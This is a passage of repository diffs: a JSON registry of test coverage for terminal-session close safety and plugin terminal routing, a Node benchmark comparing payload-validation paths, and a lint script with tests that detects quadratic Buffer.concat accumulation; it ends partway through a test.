"oracle": "Start isolated v25 and v26 daemon generations with one capable-viewer PTY and one legacy-viewer PTY per generation in four target worktrees plus an unaddressed control PTY in a fifth worktree. Route them through the production desktop scanner, runtime, RPC dispatcher, renderer-close relay, and daemon router. First issue sequential reasonless closes from an authenticated capable connection and require refusal, snapshot republish, zero shutdown calls, exact process survival, and post-close I/O. Then issue the byte-identical requests without the negotiated capability and require current-main behavior: two ordered immediate shutdowns, session-killed events, and exact root/descendant death, while capable and control PTYs survive. An observer lists all targets before, between, and after while issuing zero closes. Unit contracts also require in-process reasonless refusal, legacy runtime/mobile compatibility, explicit user closes, encrypted client-auth advertisement, and old-server lifecycle calls never to fall back.",
"commands": [
"pnpm exec vitest run --config config/vitest.config.ts src/main/runtime/orca-runtime.test.ts src/main/runtime/rpc/methods/session-tabs.test.ts src/main/runtime/rpc/methods/session-tabs-schemas.test.ts src/renderer/src/runtime/web-runtime-session.test.ts src/renderer/src/runtime/web-session-close-intent.test.ts src/renderer/src/runtime/web-session-tabs-sync.test.ts src/renderer/src/components/terminal/terminal-tab-actions.test.ts src/renderer/src/components/terminal/terminal-close-incarnation.test.ts src/renderer/src/components/terminal-pane/terminal-parked-tab-watchers.test.ts",
"pnpm exec playwright test tests/e2e/daemon-generation-reconnect-safety.spec.ts --config tests/playwright.config.ts --project electron-headless --workers=1"
"pnpm exec vitest run --config config/vitest.config.ts src/main/runtime/orca-runtime.test.ts src/main/runtime/remote-runtime-request-connection.integration.test.ts src/main/runtime/rpc/methods/session-tabs.test.ts src/main/runtime/rpc/methods/session-tabs-schemas.test.ts src/main/runtime/rpc/e2ee-channel.test.ts src/main/runtime/rpc/e2ee-channel-v2.test.ts src/main/runtime/rpc/mobile-socket-wiring.test.ts src/main/runtime/rpc/runtime-client-capabilities.test.ts src/shared/remote-runtime-client.test.ts src/shared/remote-runtime-request-connection.test.ts src/shared/remote-runtime-shared-control-connection.test.ts src/cli/runtime/websocket-transport.test.ts src/renderer/src/web/web-runtime-client.test.ts src/renderer/src/runtime/web-runtime-session.test.ts src/renderer/src/runtime/web-session-close-intent.test.ts src/renderer/src/runtime/web-session-tabs-sync.test.ts src/renderer/src/components/terminal/terminal-tab-actions.test.ts src/renderer/src/components/terminal/terminal-close-incarnation.test.ts src/renderer/src/components/terminal-pane/terminal-parked-tab-watchers.test.ts",
"pnpm exec playwright test tests/e2e/daemon-generation-reconnect-safety.spec.ts --config tests/playwright.config.ts --project electron-headless --workers=1",
"pnpm exec playwright test tests/e2e/daemon-generation-legacy-close-safety.spec.ts --config tests/playwright.config.ts --project electron-headless --workers=1"
],
"testFiles": [
"src/main/runtime/orca-runtime.test.ts",
"src/main/runtime/remote-runtime-request-connection.integration.test.ts",
"src/main/runtime/rpc/methods/session-tabs.test.ts",
"src/main/runtime/rpc/methods/session-tabs-schemas.test.ts",
"src/main/runtime/rpc/e2ee-channel.test.ts",
"src/main/runtime/rpc/e2ee-channel-v2.test.ts",
"src/main/runtime/rpc/mobile-socket-wiring.test.ts",
"src/main/runtime/rpc/runtime-client-capabilities.test.ts",
"src/shared/remote-runtime-client.test.ts",
"src/shared/remote-runtime-request-connection.test.ts",
"src/shared/remote-runtime-shared-control-connection.test.ts",
"src/cli/runtime/websocket-transport.test.ts",
"src/renderer/src/web/web-runtime-client.test.ts",
"src/renderer/src/runtime/web-runtime-session.test.ts",
"src/renderer/src/runtime/web-session-close-intent.test.ts",
"src/renderer/src/runtime/web-session-tabs-sync.test.ts",
"src/renderer/src/components/terminal/terminal-tab-actions.test.ts",
"src/renderer/src/components/terminal/terminal-close-incarnation.test.ts",
"src/renderer/src/components/terminal-pane/terminal-parked-tab-watchers.test.ts",
"tests/e2e/daemon-generation-reconnect-safety.spec.ts"
"tests/e2e/daemon-generation-reconnect-safety.spec.ts",
"tests/e2e/daemon-generation-legacy-close-safety.spec.ts"
],
"assertionRefs": [
{
"file": "src/main/runtime/remote-runtime-request-connection.integration.test.ts",
"assertions": [
"the real encrypted WebSocket handshake binds close-intent capability through authenticated socket state and RPC context to reasonless-close refusal"
]
},
{
"file": "tests/e2e/daemon-generation-legacy-close-safety.spec.ts",
"assertions": [
"one identified capable viewer and one legacy viewer issue byte-identical sequential reasonless closes while a third viewer lists every target before, between, and after but issues zero closes",
"capable v25/v26 PTY root/descendant incarnations in separate worktrees survive, answer post-close input, and produce zero shutdown calls and zero daemon session-killed events",
"legacy v25/v26 PTY root/descendant incarnations die through ordered immediate shutdown calls with one daemon session-killed event each, matching current-main behavior",
"an unaddressed fifth-worktree PTY root and descendant survive with zero kill events, excluding global fanout",
"the JSON reconstruction records request order, negotiated capabilities, viewer connection, worktree/tab/PTY ids, daemon PID/protocol, call site, and exact before/after process liveness"
]
},
{
"file": "tests/e2e/daemon-generation-reconnect-safety.spec.ts",
"assertions": [
@@ -954,12 +1211,71 @@
"shutdown-dispose-failed drops named-pipe authority within the deadline and exact fixture cleanup leaves no process tree"
]
},
{
"file": "src/main/runtime/rpc/mobile-socket-wiring.test.ts",
"assertions": [
"the optional client capability is captured from legacy encrypted authentication and bound to the authenticated runtime-scoped socket identity"
]
},
{
"file": "src/main/runtime/rpc/e2ee-channel.test.ts",
"assertions": [
"runtime capabilities are accepted only from encrypted authentication metadata, not the unauthenticated hello"
]
},
{
"file": "src/main/runtime/rpc/e2ee-channel-v2.test.ts",
"assertions": [
"mobile E2EE v2 continues to reject additive runtime capability metadata"
]
},
{
"file": "src/main/runtime/rpc/runtime-client-capabilities.test.ts",
"assertions": [
"the authenticated capability parser accepts only bounded string arrays and rejects malformed or oversized input"
]
},
{
"file": "src/shared/remote-runtime-client.test.ts",
"assertions": [
"one-shot and subscription runtime clients remain compatible while sending encrypted client authentication"
]
},
{
"file": "src/shared/remote-runtime-request-connection.test.ts",
"assertions": [
"the cached paired-desktop request connection advertises close-intent support in encrypted authentication while reusing one socket"
]
},
{
"file": "src/shared/remote-runtime-shared-control-connection.test.ts",
"assertions": [
"the reconnecting shared-control client advertises close-intent support in encrypted authentication"
]
},
{
"file": "src/cli/runtime/websocket-transport.test.ts",
"assertions": [
"updated paired runtime clients advertise close-intent support in encrypted auth fields ignored by legacy servers"
]
},
{
"file": "src/renderer/src/web/web-runtime-client.test.ts",
"assertions": [
"the browser paired-runtime client advertises close-intent support inside encrypted authentication"
]
},
{
"file": "src/main/runtime/orca-runtime.test.ts",
"assertions": [
"live, unknown, stale, missing-intent, non-owner, and inventory-proven but not yet pane-bound lifecycle closes invoke neither PTY kill nor renderer close",
"dead whole-headless retirement removes stale state without signalling a retained PTY id",
"explicit and authenticated legacy user closes remain destructive"
"dead whole-headless retirement removes stale state without signalling a retained PTY id"
]
},
{
"file": "src/main/runtime/rpc/methods/session-tabs.test.ts",
"assertions": [
"in-process and capable-runtime reasonless closes refuse while legacy runtime/mobile and explicit current user closes retain current-main destructive semantics"
]
},
{
@@ -983,6 +1299,15 @@
}
],
"evidenceRuns": [
{
"date": "2026-07-27",
"runner": "ci",
"platform": "linux",
"command": "pnpm exec playwright test tests/e2e/daemon-generation-legacy-close-safety.spec.ts --config tests/playwright.config.ts --project electron-headless --workers=1",
"result": "passed",
"durationSeconds": 5.1,
"summary": "Current-head capability-gated oracle passed in E2E run https://github.com/stablyai/orca/actions/runs/30250731941/job/89928386794: capable v25/v26 roots and descendants survived with snapshot republish and post-close I/O, byte-identical legacy closes retained current-main shutdown behavior, and the unrelated fifth-worktree control survived."
},
{
"date": "2026-07-21",
"runner": "local",
@@ -995,7 +1320,7 @@
],
"runtimeBudget": {
"p95Seconds": 180,
"scope": "isolated native-Windows five-generation production discovery/reconnect/relaunch plus bounded disposal failure and fresh E2E build"
"scope": "isolated native-Windows generation reconnect plus two-generation mixed-version close adjudication and fresh E2E build"
},
"flakeHistory": {
"status": "unknown",
@@ -1003,11 +1328,11 @@
},
"redGreenEvidence": {
"status": "complete",
"evidence": "The pre-fix native run kept daemon/client processes alive but emitted repeated real session-killed events in v21/v22/v23 and terminated every stale-mirror root and descendant. The fixed production-scanner run preserves every exact v21/v22/v23/v24/v25 process incarnation with zero kill events."
"evidence": "Current main and PR #10013 route both reasonless viewer sequences to immediate shutdown, while the prior global-refusal candidate incorrectly preserves the legacy sequence. The capability-gated candidate passed the combined GitHub oracle: capable v25/v26 PTYs survive and answer input, legacy PTYs retain current-main shutdown behavior, and the unrelated control survives. Existing Windows red/green evidence separately covers evidence-bearing lifecycle closes."
},
"performanceBudget": {
"required": true,
"evidence": "Production adds no polling, subprocess, PowerShell/CIM, or process-per-session work. Concurrent lifecycle closes share one bounded host controller inventory, scan only addressed parent leaves, and reuse the environment/worktree client snapshot deduper. Test-only Windows inventory is capped at 5 seconds and 8 MiB per query; all waits and cleanup are bounded."
"evidence": "Production adds one bounded client-capability parse during the authenticated connection handshake and one constant-time membership branch per close. It adds no polling, subprocess, provider listing, retry, timer, or process-per-session work. Refusal reuses the existing single-worktree snapshot republish. Test-only inventory and cleanup are bounded."
},
"promotionCriteria": [
"Collect 100 clean native-Windows runs over 14 days with zero unexplained flakes.",
@@ -1015,8 +1340,9 @@
"Add live Linux SSH-relay and Windows WSL reconnect artifacts without weakening keep-on-unknown."
],
"knownGaps": [
"The strongest proof is Electron-as-Node over native Windows, not a packaged UI-driven update journey.",
"Live macOS/Linux adoption and Linux SSH relay are not exercised because Docker is unavailable; Windows WSL reconnect is not exercised because WSL is not installed.",
"The strongest proof is Electron-as-Node over real daemon PTYs, not a packaged headed Orca host paired to a separate old client; that is the primary live E2E still required.",
"Headless orca serve parity, live Linux, Linux SSH relay, and Windows WSL reconnect are not exercised; Docker SSH would cover only the SSH provider and cannot substitute for paired Orca-server evidence.",
"A topology containing any pre-contract paired desktop viewer remains vulnerable to that viewer's stale reasonless close storm; preserving its intentional-close behavior makes this unavoidable until the viewer upgrades.",
"Cross-profile daemon inventory and generation handoff/retirement remain the separate #9138/#9229 design.",
"A dead split leaf stays with its authoritative owner rather than being remotely pruned."
],
@@ -6445,6 +6771,112 @@
"Windows native runtime watches bypass this child path; WSL reservation/release is deterministic-contract tested but not live fault-injected, and SSH registration ownership is not live-relay fault-injected."
],
"demotionRule": "Demote or quarantine if the fault harness flakes without a product or harness bug, if healthy operation exceeds one runtime watcher child, if total physical operation exceeds eight children including retiring generations, if quarantine children outlive their roots or repeat after fusing, if event delivery becomes unbounded, or if metadata/stat work returns to the serve process."
},
{
"id": "terminal-input.plugin-explicit-worktree-routing",
"title": "Plugin terminal input stays inside the freshly resolved worktree",
"maturity": "experimental",
"protection": "partial",
"owner": "plugin-platform",
"layer": "main-relay-contract",
"surfaces": [
"plugin host API terminal input",
"active worktree resolution",
"provider terminal inventory",
"relay capability enforcement"
],
"platforms": [
"macos",
"linux",
"windows"
],
"providers": [
"local",
"daemon",
"ssh",
"wsl",
"remote-runtime",
"mobile-relay"
],
"coveredPlatforms": [
"macos"
],
"coveredProviders": [
"local",
"ssh"
],
"coverageNotes": "Deterministic macOS contract evidence covers opaque local- and SSH-shaped terminal ids, one bounded worktree listing, mismatch rejection, and the main/relay host-call adapter matrix. It does not launch a live PTY or provision a relay-hosted plugin.",
"motivatingLinks": [
"https://github.com/stablyai/orca/pull/8549"
],
"invariant": "terminal.sendText accepts only an explicit provider-owned terminal id present in one bounded inventory of the worktree resolved immediately before the send; an absent id causes zero send calls, and relay callers cannot supply their own capability grants or transport classification.",
"oracle": "Resolve the active worktree once, list that worktree with the v0 terminal cap once, and assert zero sendTerminal calls for a mismatched opaque id versus exactly one send for matching local- and SSH-shaped ids; then run the same permission and schema cases through desktop-main and registered relay panel/worker adapters and compare error codes.",
"commands": [
"pnpm exec vitest run --config config/vitest.config.ts src/main/plugins/plugin-host-methods.test.ts src/main/plugins/plugin-host-conformance.test.ts"
],
"testFiles": [
"src/main/plugins/plugin-host-methods.test.ts",
"src/main/plugins/plugin-host-conformance.test.ts"
],
"assertionRefs": [
{
"file": "src/main/plugins/plugin-host-methods.test.ts",
"assertions": [
"a terminal outside the freshly resolved worktree performs one capped list and zero sends",
"matching local- and SSH-shaped opaque ids each perform one capped list and one exact send",
"workspace.readContext drops provider paths, path-bearing internal worktree ids, and terminal titles while capping its terminal projection"
]
},
{
"file": "src/main/plugins/plugin-host-conformance.test.ts",
"assertions": [
"all 13 v0 methods succeed with the required consented capability through desktop-main and relay adapters",
"missing consent, missing capability, unknown method, malformed params, panel-forbidden access, malformed results, and mutation-audit failure return identical codes",
"malformed qualified keys, client-supplied grants, and client-supplied transport flags are rejected before host policy resolution"
]
}
],
"evidenceRuns": [
{
"date": "2026-07-10",
"runner": "local",
"platform": "macos",
"command": "pnpm exec vitest run --config config/vitest.config.ts src/main/plugins/plugin-host-methods.test.ts src/main/plugins/plugin-host-conformance.test.ts",
"result": "passed",
"durationSeconds": 0.18,
"summary": "2 files and 17 tests passed, covering the 13-method main/relay conformance matrix and exact terminal routing call counts."
}
],
"runtimeBudget": {
"p95Seconds": 10,
"scope": "plugin host main/relay contract tests"
},
"flakeHistory": {
"status": "unknown",
"evidence": "The deterministic focused suite passed locally once and needs CI and soak history before promotion."
},
"redGreenEvidence": {
"status": "partial",
"evidence": "Exact mismatch/send counts and adapter error parity are asserted; intentional-break and saved CI evidence are still missing."
},
"performanceBudget": {
"required": true,
"evidence": "Each plugin send resolves once, performs exactly one list capped at 50 terminals, and performs at most one send. The path adds no polling, subprocesses, provider fanout, renderer work, or startup await."
},
"promotionCriteria": [
"Run for at least 100 consecutive passes or 14 days across required CI platforms.",
"Attach intentional-break evidence for the worktree membership check and relay transport binding.",
"Exercise live local and SSH provider terminals, including mismatch rejection and successful input echo.",
"Keep relay-hosted plugin provisioning behind a separate reviewed policy before replacing the fail-closed registration."
],
"knownGaps": [
"Linux and Windows execution evidence is not recorded.",
"Daemon, WSL, remote-runtime, and mobile-relay providers have no live input evidence.",
"Local and SSH coverage is contract-level over opaque ids, not a live PTY input/echo run.",
"The bounded 50-terminal inventory intentionally rejects a target not present in the capped result; scale behavior above that cap needs a targeted membership API before expansion.",
"Relay-hosted plugin provisioning, consent persistence, workers, and audit services remain out of scope and the relay registration therefore denies every provisioned identity by default."
],
"demotionRule": "Keep experimental or demote to protection none if the suite flakes, permits a mismatched terminal send, performs more than one inventory list per call, accepts client-supplied grants, or relay and desktop error codes diverge."
}
]
}
@@ -0,0 +1,220 @@
#!/usr/bin/env node
// Benchmark: cost of validating an agent-status payload on every hook event.
//
// 13 of the 15 per-source normalizers in agent-hook-listener.ts built a plain
// object, JSON.stringify'd it, and handed the string to parseAgentStatusPayload,
// which runs assertJsonTextStructureWithinLimits (a per-character scan of the
// WHOLE serialized string) plus JSON.parse — only to reach the same
// normalizeAgentStatusObject the object path calls directly. Claude and Codex
// were already converted, with a comment calling the round trip "pure overhead
// on this hot per-hook path"; the other 13 were not.
//
// Why the gap widens with payload size: the direct path's field normalizer stops
// at the field cap (`normalized.length < maxLength`), so it is O(cap). The round
// trip is O(input) — and the input is bounded only by the 1 MB hook request
// limit, since tool_response text is passed through uncapped for most sources.
//
// Amplifier this models in the second table: resolveToolState stores the raw
// value in lastToolByPaneKey and inherits it until a turn reset, so one large
// tool result is re-serialized and re-scanned on every later event of the turn.
import { readFileSync } from 'node:fs'
import { performance } from 'node:perf_hooks'
import { fileURLToPath } from 'node:url'
const TYPES_SOURCE = readFileSync(
fileURLToPath(new URL('../../src/shared/agent-status-types.ts', import.meta.url)),
'utf8'
)
function readMirroredConstant(name) {
const match = TYPES_SOURCE.match(new RegExp(`${name}\\s*=\\s*([0-9_]+)`))
if (!match) {
throw new Error(`agent-status-types.ts no longer defines ${name}; re-sync this benchmark.`)
}
return Number(match[1].replaceAll('_', ''))
}
// Read the cap the direct path clamps at, so a drifted value fails loudly here
// instead of quietly changing what this benchmark claims.
const ASSISTANT_MESSAGE_CAP = readMirroredConstant('AGENT_STATUS_ASSISTANT_MESSAGE_MAX_LENGTH')
const ITERATIONS = Number.parseInt(process.env.ORCA_HOOK_NORM_BENCH_ITERATIONS ?? '400', 10)
const WARMUP = Number.parseInt(process.env.ORCA_HOOK_NORM_BENCH_WARMUP ?? '200', 10)
for (const [name, value] of [
['ORCA_HOOK_NORM_BENCH_ITERATIONS', ITERATIONS],
['ORCA_HOOK_NORM_BENCH_WARMUP', WARMUP]
]) {
if (!Number.isInteger(value) || value <= 0) {
throw new Error(`${name} must be a positive integer, received ${value}`)
}
}
const STRUCTURAL_TOKENS = 4096
const NESTING_DEPTH = 16
// Mirror of assertJsonTextStructureWithinLimits — the per-character scan the
// round trip pays before JSON.parse even starts.
function scanJsonStructure(content) {
let structuralTokens = 0
let depth = 0
let inString = false
let escaped = false
for (let index = 0; index < content.length; index += 1) {
const character = content[index]
if (inString) {
if (escaped) {
escaped = false
} else if (character === '\\') {
escaped = true
} else if (character === '"') {
inString = false
}
continue
}
if (character === '"') {
inString = true
continue
}
if (
character !== '{' &&
character !== '}' &&
character !== '[' &&
character !== ']' &&
character !== ',' &&
character !== ':'
) {
continue
}
structuralTokens += 1
if (structuralTokens > STRUCTURAL_TOKENS) {
throw new Error('structuralTokens')
}
if (character === '{' || character === '[') {
depth += 1
if (depth > NESTING_DEPTH) {
throw new Error('nestingDepth')
}
} else if (character === '}' || character === ']') {
depth = Math.max(0, depth - 1)
}
}
}
// Mirror of the field normalizer's bounded walk: it stops consuming at the cap.
function normalizeField(value, maxLength) {
if (typeof value !== 'string') {
return undefined
}
let normalized = ''
let newlineRun = 0
for (let index = 0; index < value.length && normalized.length < maxLength; index += 1) {
const code = value.charCodeAt(index)
if (code === 13 || code === 10 || code === 0x2028 || code === 0x2029) {
if (code === 13 && value.charCodeAt(index + 1) === 10) {
index += 1
}
if (newlineRun < 2) {
normalized += '\n'
}
newlineRun += 1
continue
}
newlineRun = 0
normalized += value[index]
}
return normalized
}
function normalizeObject(payload) {
return {
state: payload.state,
prompt: normalizeField(payload.prompt, ASSISTANT_MESSAGE_CAP),
agentType: payload.agentType,
toolName: normalizeField(payload.toolName, ASSISTANT_MESSAGE_CAP),
toolInput: normalizeField(payload.toolInput, ASSISTANT_MESSAGE_CAP),
lastAssistantMessage: normalizeField(payload.lastAssistantMessage, ASSISTANT_MESSAGE_CAP)
}
}
// Pre-fix: serialize, scan every character, parse, then normalize.
function validateViaRoundTrip(payload) {
const json = JSON.stringify(payload)
scanJsonStructure(json)
return normalizeObject(JSON.parse(json))
}
// Post-fix: normalize the object that is already in hand.
function validateDirect(payload) {
return normalizeObject(payload)
}
function makePayload(messageBytes) {
return {
state: 'working',
prompt: 'do the thing',
agentType: 'grok',
toolName: 'shell_command',
toolInput: 'ls -la',
lastAssistantMessage: 'x'.repeat(messageBytes)
}
}
function measure(fn, payload) {
for (let index = 0; index < WARMUP; index += 1) {
fn(payload)
}
const samples = []
for (let round = 0; round < 5; round += 1) {
const start = performance.now()
for (let index = 0; index < ITERATIONS; index += 1) {
fn(payload)
}
samples.push((performance.now() - start) / ITERATIONS)
}
samples.sort((a, b) => a - b)
return samples[2]
}
const rows = []
for (const kb of [4, 16, 64, 256]) {
const payload = makePayload(kb * 1024)
const before = validateViaRoundTrip(payload)
const after = validateDirect(payload)
if (JSON.stringify(before) !== JSON.stringify(after)) {
throw new Error(`normalizer mismatch at ${kb} KB`)
}
rows.push({
label: `${kb} KB`,
beforeUs: measure(validateViaRoundTrip, payload) * 1000,
afterUs: measure(validateDirect, payload) * 1000
})
}
const pad = (value, width) => String(value).padStart(width)
console.log('Agent-status payload validation, per hook event')
console.log(
`field cap=${ASSISTANT_MESSAGE_CAP} iterations=${ITERATIONS} warmup=${WARMUP} (median of 5 rounds)`
)
console.log(
`${pad('payload', 9)} ${pad('round trip', 12)} ${pad('direct', 10)} ${pad('speedup', 9)}`
)
for (const row of rows) {
console.log(
`${pad(row.label, 9)} ${pad(`${row.beforeUs.toFixed(1)} us`, 12)} ${pad(`${row.afterUs.toFixed(1)} us`, 10)} ${pad(`${(row.beforeUs / row.afterUs).toFixed(1)}x`, 9)}`
)
}
// A single large tool result is inherited across the turn, so every later event
// re-pays the round trip on bytes that were already validated once.
const TURN_EVENTS = 20
const inherited = makePayload(200 * 1024)
const beforeTurnMs = (measure(validateViaRoundTrip, inherited) * TURN_EVENTS).toFixed(2)
const afterTurnMs = (measure(validateDirect, inherited) * TURN_EVENTS).toFixed(2)
console.log(
`\nOne 200 KB tool result, inherited across ${TURN_EVENTS} later events in the same turn:` +
`\n round trip ${beforeTurnMs} ms total direct ${afterTurnMs} ms total`
)
console.log(
'\nThe direct path is flat because the field normalizer stops at the cap; the\nround trip is linear in the raw payload, which is bounded only by the 1 MB\nhook request limit.'
)
@@ -0,0 +1,343 @@
import fs from 'node:fs/promises'
import path from 'node:path'
import { pathToFileURL } from 'node:url'
import process from 'node:process'
// TypeScript 7 is a native CLI; AST consumers still need the legacy JavaScript API.
import ts from 'typescript-api'
const SOURCE_EXTENSIONS = new Set(['.ts', '.tsx', '.js', '.jsx', '.mjs', '.mts', '.cts'])
const SKIP_PATH_PARTS = new Set(['node_modules', 'dist', 'out', '.git', '__snapshots__'])
const SCAN_ROOTS = ['src', 'config/scripts', 'tools', 'tests', 'mobile']
const LOOP_KINDS = new Set([
ts.SyntaxKind.ForStatement,
ts.SyntaxKind.ForInStatement,
ts.SyntaxKind.ForOfStatement,
ts.SyntaxKind.WhileStatement,
ts.SyntaxKind.DoStatement
])
const ASSIGNMENT_OPERATORS = new Set([
ts.SyntaxKind.EqualsToken,
ts.SyntaxKind.PlusEqualsToken,
ts.SyntaxKind.QuestionQuestionEqualsToken,
ts.SyntaxKind.BarBarEqualsToken,
ts.SyntaxKind.AmpersandAmpersandEqualsToken
])
function normalizeReferenceText(text) {
return text.replaceAll(/\s+/g, '')
}
// The variable a member/call chain ultimately reads, so `carry.subarray(0, n)`
// still resolves to `carry`. `this.x` stops at the property: the class field is
// the accumulator.
function rootReferenceText(node) {
if (ts.isIdentifier(node)) {
return node.text
}
if (ts.isPropertyAccessExpression(node)) {
return node.expression.kind === ts.SyntaxKind.ThisKeyword
? normalizeReferenceText(node.getText())
: rootReferenceText(node.expression)
}
if (
ts.isElementAccessExpression(node) ||
ts.isCallExpression(node) ||
ts.isNonNullExpression(node) ||
ts.isParenthesizedExpression(node) ||
ts.isAsExpression(node)
) {
return rootReferenceText(node.expression)
}
return undefined
}
function isBufferConcatCall(node) {
return (
ts.isCallExpression(node) &&
ts.isPropertyAccessExpression(node.expression) &&
node.expression.name.text === 'concat' &&
ts.isIdentifier(node.expression.expression) &&
node.expression.expression.text === 'Buffer' &&
node.arguments.length > 0 &&
ts.isArrayLiteralExpression(node.arguments[0])
)
}
function enclosingLoop(node) {
for (let current = node.parent; current; current = current.parent) {
if (LOOP_KINDS.has(current.kind)) {
return current
}
}
return undefined
}
// A `for (let acc = ...; ;)` binding is loop-carried even though it sits inside
// the loop node, so the initializer does not count as loop-local.
function isDeclaredInsideLoop(declarationStart, loop) {
if (declarationStart < loop.getStart() || declarationStart >= loop.end) {
return false
}
const initializer = ts.isForStatement(loop) ? loop.initializer : undefined
if (!initializer) {
return true
}
return declarationStart < initializer.getStart() || declarationStart >= initializer.end
}
function collectBindingNames(name, into) {
if (ts.isIdentifier(name)) {
into.push(name)
return
}
if (ts.isObjectBindingPattern(name) || ts.isArrayBindingPattern(name)) {
for (const element of name.elements) {
if (ts.isBindingElement(element)) {
collectBindingNames(element.name, into)
}
}
}
}
function collectDeclarations(sourceFile) {
const declarations = new Map()
const record = (identifier, node) => {
const existing = declarations.get(identifier.text)
const start = node.getStart(sourceFile)
if (existing) {
existing.push(start)
} else {
declarations.set(identifier.text, [start])
}
}
const visit = (node) => {
if (ts.isVariableDeclaration(node) || ts.isParameter(node)) {
const names = []
collectBindingNames(node.name, names)
for (const identifier of names) {
record(identifier, node)
}
}
ts.forEachChild(node, visit)
}
visit(sourceFile)
return declarations
}
function collectAssignedRoots(loop) {
const assigned = new Set()
const visit = (node) => {
if (ts.isBinaryExpression(node) && ASSIGNMENT_OPERATORS.has(node.operatorToken.kind)) {
const root = rootReferenceText(node.left)
if (root) {
assigned.add(root)
}
}
ts.forEachChild(node, visit)
}
visit(loop.statement)
return assigned
}
// Unwrap the wrappers a concat result passes through before it lands on the
// left-hand side, so `acc = cond ? Buffer.concat([acc, c]) : c` still counts.
function assignmentTargetOf(call) {
let node = call
let parent = node.parent
while (
parent &&
(ts.isParenthesizedExpression(parent) ||
ts.isAsExpression(parent) ||
ts.isNonNullExpression(parent) ||
(ts.isConditionalExpression(parent) && parent.condition !== node))
) {
node = parent
parent = parent.parent
}
if (
parent &&
ts.isBinaryExpression(parent) &&
parent.operatorToken.kind === ts.SyntaxKind.EqualsToken &&
parent.right === node
) {
return {
text: normalizeReferenceText(parent.left.getText()),
root: rootReferenceText(parent.left)
}
}
return undefined
}
function concatOperands(call) {
return call.arguments[0].elements.map((element) => {
const spread = ts.isSpreadElement(element)
const expression = spread ? element.expression : element
return {
spread,
text: normalizeReferenceText(expression.getText()),
root: rootReferenceText(expression)
}
})
}
// A binding reset on every iteration cannot accumulate; only one that outlives
// the iteration carries the cost forward.
function isLoopCarried(root, loop, declarations) {
const starts = declarations.get(root)
if (!starts) {
return true
}
return !starts.some((start) => isDeclaredInsideLoop(start, loop))
}
function quadraticAccumulator(call, loop, declarations, assignedRoots) {
const operands = concatOperands(call)
const target = assignmentTargetOf(call)
// The result feeds straight back into its own input: every iteration re-copies
// everything accumulated so far.
const selfOperand = target
? operands.find((operand) => operand.text === target.text || operand.root === target.root)
: undefined
if (selfOperand && target.root && isLoopCarried(target.root, loop, declarations)) {
return target.text
}
// No direct self-assignment, so look for a loop-carried operand reassigned
// inside the loop: the concat result reaches it by some other path. Spread
// operands are the sanctioned chunk-list fix, not this bug, so skip them.
for (const operand of operands) {
if (operand.spread || !operand.root || !assignedRoots.has(operand.root)) {
continue
}
if (isLoopCarried(operand.root, loop, declarations)) {
return operand.root
}
}
return undefined
}
export function reportQuadraticBufferConcat(filePath, sourceText) {
if (!sourceText.includes('Buffer.concat')) {
return []
}
const sourceFile = ts.createSourceFile(filePath, sourceText, ts.ScriptTarget.Latest, true)
const declarations = collectDeclarations(sourceFile)
const assignedRootsByLoop = new Map()
const reports = []
const seen = new Set()
const visit = (node) => {
if (isBufferConcatCall(node)) {
const loop = enclosingLoop(node)
if (loop) {
let assignedRoots = assignedRootsByLoop.get(loop)
if (!assignedRoots) {
assignedRoots = collectAssignedRoots(loop)
assignedRootsByLoop.set(loop, assignedRoots)
}
const accumulator = quadraticAccumulator(node, loop, declarations, assignedRoots)
if (accumulator) {
const start = node.getStart(sourceFile)
if (!seen.has(start)) {
seen.add(start)
const { line, character } = sourceFile.getLineAndCharacterOfPosition(start)
reports.push({
filePath,
line: line + 1,
column: character + 1,
accumulator,
text: node.getText()
})
}
}
}
}
ts.forEachChild(node, visit)
}
visit(sourceFile)
return reports
}
export function normalizePath(root, filePath) {
return path.relative(root, filePath).split(path.sep).join('/')
}
function isSkippedFile(root, filePath) {
const relative = normalizePath(root, filePath)
// Benchmarks keep the pre-fix shape on purpose so they can measure against it.
if (
relative.includes('.test.') ||
relative.includes('.spec.') ||
relative.includes('-benchmark.')
) {
return true
}
return relative.split('/').some((part) => SKIP_PATH_PARTS.has(part))
}
async function collectSourceFiles(root, dir) {
let entries
try {
entries = await fs.readdir(dir, { withFileTypes: true })
} catch {
return []
}
const files = []
for (const entry of entries) {
const fullPath = path.join(dir, entry.name)
if (entry.isDirectory()) {
if (!SKIP_PATH_PARTS.has(entry.name)) {
files.push(...(await collectSourceFiles(root, fullPath)))
}
} else if (
entry.isFile() &&
SOURCE_EXTENSIONS.has(path.extname(entry.name)) &&
!isSkippedFile(root, fullPath)
) {
files.push(fullPath)
}
}
return files
}
function formatReports(root, reports) {
return reports
.map(
(report) =>
`${normalizePath(root, report.filePath)}:${report.line}:${report.column} ${report.accumulator} — ${report.text.replaceAll(/\s+/g, ' ')}`
)
.join('\n')
}
export async function main(root = process.cwd()) {
const reports = []
for (const scanRoot of SCAN_ROOTS) {
const files = await collectSourceFiles(root, path.join(root, scanRoot))
for (const filePath of files) {
const sourceText = await fs.readFile(filePath, 'utf8')
reports.push(...reportQuadraticBufferConcat(filePath, sourceText))
}
}
if (reports.length === 0) {
return 0
}
console.error('Buffer.concat must not rebuild a loop-carried accumulator.')
console.error('Each iteration re-copies everything accumulated so far, so the loop is O(n^2).')
console.error('Collect the pieces in a Buffer[] and Buffer.concat(chunks) once, after the loop.')
console.error('')
console.error(formatReports(root, reports))
return 1
}
if (process.argv[1] && import.meta.url === pathToFileURL(process.argv[1]).href) {
process.exit(await main())
}
@@ -0,0 +1,146 @@
import { describe, expect, it } from 'vitest'
import { reportQuadraticBufferConcat } from './check-quadratic-buffer-concat.mjs'
describe('check-quadratic-buffer-concat', () => {
it('reports an accumulator rebuilt from itself in a for-of loop', () => {
const reports = reportQuadraticBufferConcat(
'Example.ts',
'let acc = Buffer.alloc(0); for (const chunk of chunks) { acc = Buffer.concat([acc, chunk]) }'
)
expect(reports).toHaveLength(1)
expect(reports[0].accumulator).toBe('acc')
})
it('reports the accumulator when it trails the new chunk', () => {
const reports = reportQuadraticBufferConcat(
'Example.ts',
'let acc = Buffer.alloc(0); for (const chunk of chunks) { acc = Buffer.concat([chunk, acc]) }'
)
expect(reports).toHaveLength(1)
})
it('reports a spread of the accumulator into its own concat', () => {
const reports = reportQuadraticBufferConcat(
'Example.ts',
'let acc = Buffer.alloc(0); for (const chunk of chunks) { acc = Buffer.concat([...acc, chunk]) }'
)
expect(reports).toHaveLength(1)
})
it('reports the real pre-fix ai-vault stream carry', () => {
const reports = reportQuadraticBufferConcat(
'session-scanner-parse-cache.ts',
`async function read(stream) {
